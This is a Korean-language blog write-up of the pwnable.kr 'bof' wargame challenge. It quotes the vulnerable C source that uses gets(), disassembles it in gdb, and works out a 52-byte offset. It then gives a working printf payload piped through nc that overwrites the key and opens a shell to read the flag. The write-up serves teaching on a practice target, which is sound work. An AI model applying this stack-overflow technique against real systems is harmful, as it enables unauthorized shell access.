White Security
Bof 문제풀이 본문
Nana told me that buffer overflow is one of the most common software vulnerability. Is that true? Download : http://pwnable.kr/bin/bof Download : http://pwnable.kr/bin/bof.c Running at : nc pwnable.kr 9000
Toddler's Bottle 3번 문제입니다.
이름으로 추측할 수 있듯 버퍼 오버 플로우에 관한 문제인데요.
netcat 을 사용하여 통신하라고 되어 있네요.
윈도우즈용 netcat은 이곳에서 다운받을 수 있습니다.
#include <stdio.h> #include <string.h> #include <stdlib.h> void func(int key){ char overflowme[32]; printf("overflow me : "); gets(overflowme); // smash me! if(key == 0xcafebabe){ system("/bin/sh"); } else{ printf("Nah..\n"); } } int main(int argc, char* argv[]){ func(0xdeadbeef); return 0; }
소스파일을 확인해 보겠습니다.
main 함수에서 0xdeadbeef 를 인자로
func 함수를 실행하고 있군요.
그리고선 overflowme 라는 char 배열에
gets 로 입력을 받고
함수 호출 인자였던 0xdeadbeef 와 0xcafebabe 를 비교해서
동일하면 시스템 쉘을 얻을 수 있습니다.
문제는 비교 문자열들이
모두 하드코딩되어 편집할 방법이 없다는 것입니다.
그래서 필요한 것이
바로 버퍼 오버플로우인데요.
버퍼 오버플로우에도 여러 종류가 있지만
이번에 우리가 사용할 기법은
스택 오버플로우 입니다.
초심자라면 단어가 조금은
어렵게 느껴질 수도 있지만
개념은 단순합니다.
로컬 변수에게 할당된 메모리를
초과하여 사용해 예상치 못한 동작을 일으키는 것이죠.
예를 들어봅시다.
Z, Y, X 세개의 크기가 다른 변수가 존재하고 있습니다.
그 중 Z 변수의 크기는 6칸 이군요.
여기서 Y를 '.' 와 비교한다면 어떨까요?
Y 안에는 ':' 가 들어있으므로 False를 반환할 것입니다.
그런데 여기서 Z에 사용자가 입력을 한다면 어떨까요?
이런, Z 값에 할당된 용량을 초과하여
데이터를 입력해 버렸군요.
여기서 Y를 '.' 와 비교한다면 어떨까요?
본래라면 False를 반환했어야 하는데
값이 변조되어 True 를 반환하고 맙니다.
이번 문제에서는
overflowme 가 Z가 되고
0xdeadbeef 임시변수가 Y가 된다고
생각하시면 될 것 같네요.
(gdb) set disassembly-flavor intel (gdb) disas func Dump of assembler code for function func: 0x0000062c <+0>: push ebp 0x0000062d <+1>: mov ebp,esp 0x0000062f <+3>: sub esp,0x48 0x00000632 <+6>: mov eax,gs:0x14 0x00000638 <+12>: mov DWORD PTR [ebp-0xc],eax 0x0000063b <+15>: xor eax,eax 0x0000063d <+17>: mov DWORD PTR [esp],0x78c 0x00000644 <+24>: call 0x645 <func+25> 0x00000649 <+29>: lea eax,[ebp-0x2c] 0x0000064c <+32>: mov DWORD PTR [esp],eax 0x0000064f <+35>: call 0x650 <func+36> 0x00000654 <+40>: cmp DWORD PTR [ebp+0x8],0xcafebabe 0x0000065b <+47>: jne 0x66b <func+63> 0x0000065d <+49>: mov DWORD PTR [esp],0x79b 0x00000664 <+56>: call 0x665 <func+57> 0x00000669 <+61>: jmp 0x677 <func+75> 0x0000066b <+63>: mov DWORD PTR [esp],0x7a3 0x00000672 <+70>: call 0x673 <func+71> 0x00000677 <+75>: mov eax,DWORD PTR [ebp-0xc] 0x0000067a <+78>: xor eax,DWORD PTR gs:0x14 0x00000681 <+85>: je 0x688 <func+92> 0x00000683 <+87>: call 0x684 <func+88> 0x00000688 <+92>: leave 0x00000689 <+93>: ret End of assembler dump.
링크된 실행파일을 어셈블리어로 보면
가장 먼저 15번 라인이 눈에 띕니다.
0xcafebabe 와 [ebp+0x8] 에 있는 값을 비교하고 있군요.
그리고 12번 라인을 보면 gets 를 호출하기 전에
[esp]에 [ebp-0x2c] 를 대입하고 있습니다.
즉 우리가 입력하는 overflowme 의 시작 부분이 [ebp-0x2c]
func 함수 호출 인자였던 0xdeadbeef 의 시작 부분인 [ebp+0x8]
이라는 것을 알수 있죠
0x2c + 0x8 = 52 이므로
52바이트 뒤에 0xcafebabe를 덮어씌워 주면
조건식을 통과할 수 있을 것입니다.
# ( printf "%52s\xbe\xba\xfe\xca"; cat ) | nc pwnable.kr 9000 ls -l total 60812 -r-xr-x--- 1 root bof 7348 Sep 12 2016 bof -rw-r--r-- 1 root root 308 Oct 23 2016 bof.c -r--r----- 1 root bof 32 Jun 11 2014 flag -rw------- 1 root root 62243025 Feb 4 07:00 log -rw-r--r-- 1 root root 0 Oct 23 2016 log2 -rwx------ 1 root root 760 Sep 10 2014 super.pl cat flag daddy, I just pwned a buFFer :)
쉘을 얻어 flag의 값을 확인할 수 있었습니다.
printf 문 이후에 cat을 써 준 이유는
송신후에 입력을 닫지 않고
쉘을 계속 이용할 수 있게 하기 위해서 입니다.
'Wargame Writeups > pwnable.kr' 카테고리의 다른 글
Random 문제풀이 (0) | 2019.02.06 |
---|---|
Passcode 문제풀이 (0) | 2019.02.06 |
Flag 문제풀이 (0) | 2019.02.05 |
Collision 문제풀이 (1) | 2019.02.04 |
Fd 문제풀이 (0) | 2019.01.31 |